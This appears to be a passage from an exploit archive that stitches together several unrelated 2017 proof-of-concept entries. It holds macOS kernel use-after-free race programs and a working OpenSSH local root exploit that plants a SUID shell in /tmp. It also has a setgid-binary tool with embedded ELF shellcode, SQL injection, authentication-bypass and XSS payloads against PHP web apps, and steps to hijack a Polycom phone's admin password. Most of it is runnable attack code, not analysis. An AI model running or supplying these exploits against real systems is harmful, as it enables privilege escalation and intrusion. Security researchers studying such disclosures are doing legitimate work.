where->getProperty(kIOServiceLegacyMatchingRegistryIDKey)
and
aliasServiceRegIds->setObject(alternateRegistryID)
when if another thread sets a new value for the IOService's "IOServiceLegacyMatchingRegistryID" registry property
the alternateRegistryID OSNumber can be freed. This race condition can be won quite easily and can lead to a virtual call
being performed on a free'd object.
On MacOS IOBluetoothHCIController is one of a number of IOServices which allow an unprivileged user to set the
IOServiceLegacyMatchingRegistryID property.
One approach to fixing this bug would be to call copyProperty instead and drop the ref on the property after adding it
to the aliasServiceRegIds array.
Tested on MacOS Sierra 10.12.1 (16B2555)
*/
// ianbeer
// clang -o iorace iorace.c -framework IOKit -framework CoreFoundation && sync
#if 0
MacOS/iOS kernel use after free due to failure to take reference in IOService::matchPassive
IOService::matchPassive is called when trying to match a request dictionary against a candidate IOService.
We can call this function on a controlled IOService with a controlled matching table OSDictionary via the
io_service_match_property_table_* kernel MIG APIs wrapped by IOServiceMatchPropertyTable.
If a candidate IOService does match against the dictionary but the dictionary also specifies an
"IOParentMatch" key then we reach the following code (in IOService.cpp:)
OSNumber* alternateRegistryID = OSDynamicCast(OSNumber, where->getProperty(kIOServiceLegacyMatchingRegistryIDKey));
if(alternateRegistryID != NULL) {
if(aliasServiceRegIds == NULL)
{
aliasServiceRegIds = OSArray::withCapacity(sizeof(alternateRegistryID));
}
aliasServiceRegIds->setObject(alternateRegistryID);
}
("where" is the controlled IOService.)
getProperty is an IORegistryEntry API which directly calls the getObject method
of the OSDictionary holding the entry's properties. getProperty, unlike copyProperty, doesn't take a reference on
the value of the property which means that there is a short window between
where->getProperty(kIOServiceLegacyMatchingRegistryIDKey)
and
aliasServiceRegIds->setObject(alternateRegistryID)
when if another thread sets a new value for the IOService's "IOServiceLegacyMatchingRegistryID" registry property
the alternateRegistryID OSNumber can be freed. This race condition can be won quite easily and can lead to a virtual call
being performed on a free'd object.
On MacOS IOBluetoothHCIController is one of a number of IOServices which allow an unprivileged user to set the
IOServiceLegacyMatchingRegistryID property.
One approach to fixing this bug would be to call copyProperty instead and drop the ref on the property after adding it
to the aliasServiceRegIds array.
Tested on MacOS Sierra 10.12.1 (16B2555)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
io_service_t service = MACH_PORT_NULL;
void* setter(void* arg) {
char number = 1;
CFNumberRef num = CFNumberCreate(kCFAllocatorDefault, kCFNumberCharType, &number);
while(1) {
kern_return_t err;
err = IORegistryEntrySetCFProperty(
service,
CFSTR("IOServiceLegacyMatchingRegistryID"),
num);
if (err != KERN_SUCCESS){
printf("setProperty failed\n");
return NULL;
}
}
return NULL;
}
int main(){
kern_return_t err;
service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
pthread_t thread;
pthread_create(&thread, NULL, setter, NULL);
CFMutableDictionaryRef dict2;
dict2 = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
CFDictionarySetValue(dict2, CFSTR("key"), CFSTR("value"));
CFMutableDictionaryRef dict;
dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
CFDictionarySetValue(dict, CFSTR("IOProviderClass"), CFSTR("IOService"));
CFDictionarySetValue(dict, CFSTR("IOResourceMatch"), CFSTR("IOBSD"));
CFDictionarySetValue(dict, CFSTR("IOParentMatch"), dict2);
while(1) {
boolean_t match = 0;
err = IOServiceMatchPropertyTable(service, dict, &match);
if (err != KERN_SUCCESS){
printf("no matches\n");
}
}
pthread_join(thread, NULL);
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1034
The task struct has a lock (itk_lock_data, taken via the itk_lock macros) which is supposed to
protect the task->itk_* ports.
The host_self_trap mach trap accesses task->itk_host without taking this lock leading to a use-after-free
given the following interleaving of execution:
Thread A: host_self_trap:
read current_task()->itk_host // Thread A reads itk_host
Thread B: task_set_special_port:
*whichp = port; // Thread B replaces itk_host with eg MACH_PORT_NULL
itk_unlock(task);
if (IP_VALID(old))
ipc_port_release_send(old); // Thread B drops last ref on itk_host
Thread A: host_self_trap:
passes the port to ipc_port_copy_send // uses the free'd port
host_self_trap should use one of the canonical accessors for the task's host port, not just directly read it.
PoC tested on MacOS 10.12.1
*/
// ianbeer
#if 0
iOS/MacOS kernel UaF due to lack of locking in host_self_trap
The task struct has a lock (itk_lock_data, taken via the itk_lock macros) which is supposed to
protect the task->itk_* ports.
The host_self_trap mach trap accesses task->itk_host without taking this lock leading to a use-after-free
given the following interleaving of execution:
Thread A: host_self_trap:
read current_task()->itk_host // Thread A reads itk_host
Thread B: task_set_special_port:
*whichp = port; // Thread B replaces itk_host with eg MACH_PORT_NULL
itk_unlock(task);
if (IP_VALID(old))
ipc_port_release_send(old); // Thread B drops last ref on itk_host
Thread A: host_self_trap:
passes the port to ipc_port_copy_send // uses the free'd port
host_self_trap should use one of the canonical accessors for the task's host port, not just directly read it.
PoC tested on MacOS 10.12.1
#endif
// example boot-args
// debug=0x144 -v pmuflags=1 kdp_match_name=en3 -zp -zc gzalloc_min=120 gzalloc_max=200
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/host_priv.h>
mach_port_t q() {
mach_port_t p = MACH_PORT_NULL;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
return p;
}
int start = 0;
mach_port_t rq = MACH_PORT_NULL;
void* racer(void* arg) {
for(;;) {
while(!start){;}
usleep(10);
mach_port_t p = mach_host_self();
mach_port_deallocate(mach_task_self(), p);
start = 0;
}
}
int main() {
pthread_t thread;
pthread_create(&thread, NULL, racer, NULL);
for (;;){
mach_port_t p = q();
kern_return_t err = task_set_special_port(mach_task_self(), TASK_HOST_PORT, p);
mach_port_deallocate(mach_task_self(), p);
mach_port_destroy(mach_task_self(), p);
// kernel holds the only ref
start = 1;
task_set_special_port(mach_host_self(), TASK_HOST_PORT, MACH_PORT_NULL);
}
return 0;
}
# # # # #
# Exploit Title: KB Affiliate Referral PHP Script V1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 26.01.2017
# Vendor Homepage: http://kunals.com/
# Software Download: http://phpscripts.kunals.com/d/item/files/kbaffiliate.rar
# Demo: http://phpscripts.kunals.com/d/item/detail/affiliate/demo/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/index.php?page=act/login and set Username and Password to 'or''=' and hit enter.
# # # # #
/*
* not_an_sshnuke.c
*
* Federico Bento
*
* up201407890 () alunos dcc fc up pt
* https://twitter.com/uid1000
*
* OpenSSH 6.8-6.9 local privilege escalation - CVE-2015-6565
*
* Considered mostly to be a "DoS", turns out to be a priv esc vuln.
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6565
*
* Shoutz to Jann Horn for the detailed analysis
* And also to all my elite colleagues, specially xSTF :)
*
*
* $ gcc not_an_sshnuke.c -o not_an_sshnuke
* $ ./not_an_sshnuke /dev/pts/3
* [*] Waiting for slave device /dev/pts/3
* [+] Got PTY slave /dev/pts/3
* [+] Making PTY slave the controlling terminal
* [+] SUID shell at /tmp/sh
* $ /tmp/sh --norc --noprofile -p
* # id
* euid=0(root) groups=0(root)
*
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
int main(int argc, char *argv[])
{
char *cmd = "cp /bin/sh /tmp/sh; chmod u+s /tmp/sh\n";
int pid, pts = -1;
if(argc != 2) {
fprintf(stderr, "Usage: %s /dev/pts/X\n", argv[0]);
fprintf(stderr, "Where X is next slave device to be created\n");
return 1;
}
if(!access(argv[1], F_OK)) {
fprintf(stderr, "[-] %s device already exists\n", argv[1]);
return 1;
}
pid = fork();
if(pid < 0) {
fprintf(stderr, "[-] fork failed\n");
return 1;
}
if(pid == 0) {
printf("[*] Waiting for slave device %s\n", argv[1]);
/* win the race by opening the PTY slave before sshd's child */
while(pts == -1)
pts = open(argv[1], O_WRONLY);
printf("[+] Got PTY slave %s\n", argv[1]);
printf("[+] Making PTY slave the controlling terminal\n");
dup2(pts, 0); dup2(pts, 1); dup2(pts, 2);
setsid();
ioctl(0, TIOCSCTTY, 1);
while(*cmd)
ioctl(0, TIOCSTI, cmd++);
}
else {
wait(NULL);
printf("[+] SUID shell at /tmp/sh\n");
return 0;
}
}
##################################################################################################
#Exploit Title :PHPback < version 1.3.1 SQL Injection and XSS vulnerability
#Author : Manish Kishan Tanwar AKA error1046 (https://twitter.com/IndiShell1046)
#Date : 27/01/2017
#Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi
#Tested At : Indishell Lab
##################################################################################################
////////////////////////
/// Overview:
////////////////////////
PHPBack is an open source feedback system and developed on codeigniter framework. There is SQL Injection in search parameter "query" and XSS issue in desc as well as title ppost parameter
////////////////
/// POC ////
///////////////
SQL Injection payload to enumerate tables
----------------------------------------------
http://127.0.0.1/phpback-master/home/search
Post data
query=')%0Aor%0Aextractvalue(6678,concat(0x7e,(select%0Auser()),0x7e))--%0A%23
XSS
----
http://127.0.0.1/phpback-master/home/postidea
Post data
in desc parameter
desc=</textarea><script>alert(document.cookie);</script>
in title parameter
title="><script>alert(document.location);</script>
SQLI Screenshot
https://cloud.githubusercontent.com/assets/10351062/14776703/c9440524-0ae5-11e6-9240-a37a685a72b1.png
XSS screenshot
https://cloud.githubusercontent.com/assets/10351062/14811513/14fbebdc-0bb6-11e6-8ea5-229e2ab71eb8.png
--==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,cyber gladiator,Cyber Ace,Golden boy INDIA,d3, rafay baloch, nag256
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
#############################################################################################
--==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty, Hacker fantastic, Jennifer Arcuri and Don(Deepika kaushik)
--==[[ Special Fuck goes to ]]==--
<3 suriya Cyber Tyson <3
/*
source: http://www.openwall.com/lists/oss-security/2017/01/24/4
This is a heads up for a trivial systemd local root exploit, that
was silently fixed in the upstream git as:
commit 06eeacb6fe029804f296b065b3ce91e796e1cd0e
Author: ....
Date: Fri Jan 29 23:36:08 2016 +0200
basic: fix touch() creating files with 07777 mode
mode_t is unsigned, so MODE_INVALID < 0 can never be true.
This fixes a possible DoS where any user could fill /run by writing to
a world-writable /run/systemd/show-status.
The analysis says that is a "possible DoS", but its a local root
exploit indeed. Mode 07777 also contains the suid bit, so files
created by touch() are world writable suids, root owned. Such
as /var/lib/systemd/timers/stamp-fstrim.timer thats found on a non-nosuid mount.
This is trivially exploited by something like:
http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c
with minimal changes, so I wont provide a PoC here.
The bug was possibly introduced via:
commit ee735086f8670be1591fa9593e80dd60163a7a2f
Author: ...
Date: Wed Nov 11 22:54:56 2015 +0100
util-lib: use MODE_INVALID as invalid value for mode_t everywhere
So we believe that this mostly affects v228 of systemd, but its recommended
that distributors cross-check their systemd versions for vulnerable
touch_*() functions. We requested
a CVE for this issue from MITRE by ourselfs: CVE-2016-10156
We would like to see that systemd upstream retrieves CVE's themself
for their own bugs, even if its believed that its just a local DoS.
This would make distributors life much easier when we read the git logs
to spot potential issues. The systemd git log is really huge, with
lots of commits each week ("new services as a service").
Sebastian
*/
// Source: http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* This tool allows to create a setgid binary in appropriate directory
* to escalate to the group of this directory.
*
* Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c
*
* Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args]
*
* Example:
*
* # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
* # ls -al ./escalate
* # ./escalate /bin/sh
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
*
* See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/wait.h>
int main(int argc, char **argv) {
// No slashes allowed, everything else is OK.
char suidExecMinimalElf[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0,
0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
};
int destFd=open(argv[1], O_RDWR|O_CREAT, 07777);
if(destFd<0) {
fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno));
return(1);
}
char *suidWriteNext=suidExecMinimalElf;
char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
while(suidWriteNext!=suidWriteEnd) {
char *suidWriteTestPos=suidWriteNext;
while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
suidWriteNext=suidWriteTestPos;
while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
int result=fork();
if(!result) {
struct rlimit limits;
// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
limits.rlim_max=limits.rlim_cur;
setrlimit(RLIMIT_FSIZE, &limits);
// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
limits.rlim_cur=1<<22;
limits.rlim_max=limits.rlim_cur;
result=setrlimit(RLIMIT_AS, &limits);
dup2(destFd, 1);
dup2(destFd, 2);
argv[3]=suidWriteNext;
execve(argv[2], argv+3, NULL);
fprintf(stderr, "Exec failed\n");
return(1);
}
waitpid(result, NULL, 0);
suidWriteNext=suidWriteTestPos;
// ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf);
}
fprintf(stderr, "Completed\n");
return(0);
}
# Exploit Title: Polycom VVX Web Interface - Change Admin Password as User
# Date: January 26, 2017
# Exploit Author: Mike Brown
# Vendor Homepage: http://www.polycom.com/
# Software Link: http://downloads.polycom.com/voice/voip/uc_sw_releases_matrix.html
# Version: Polycom vvx 410 UC Software Version: 5.3.1.0436
# CVE : N/A
# This module requires the user to have access to the "User" account (Default User:123) in the Polycom VoIP phone's web interface.
# The user can use the following steps to escalate privileges and become the Admin user to reveal menu items internal IP addresses
# and account information.
1. Login with the "User" Account.
2. Navigate to Settings > Change Password.
3. Fill in "Old Password" with the current "User" password.
4. Fill in "New Password" with the new "Admin" account password, and confirm.
5. Using a live HTML editor, inspect the old password field. you will see:
<input id="olduserpswd" name="122" isrebootrequired="false" helpid="525" value="" paramname="device.auth.localUserPassword"
default="" config="????" variabletype="string" min="0" max="32" maxlength="32" hintdivid="userAccountConf.htm_1" type="password">
6. Change the name field to "120"
7. Click "Save"
8. An error will be shown on screen but you can now log into the Admin account with the new password.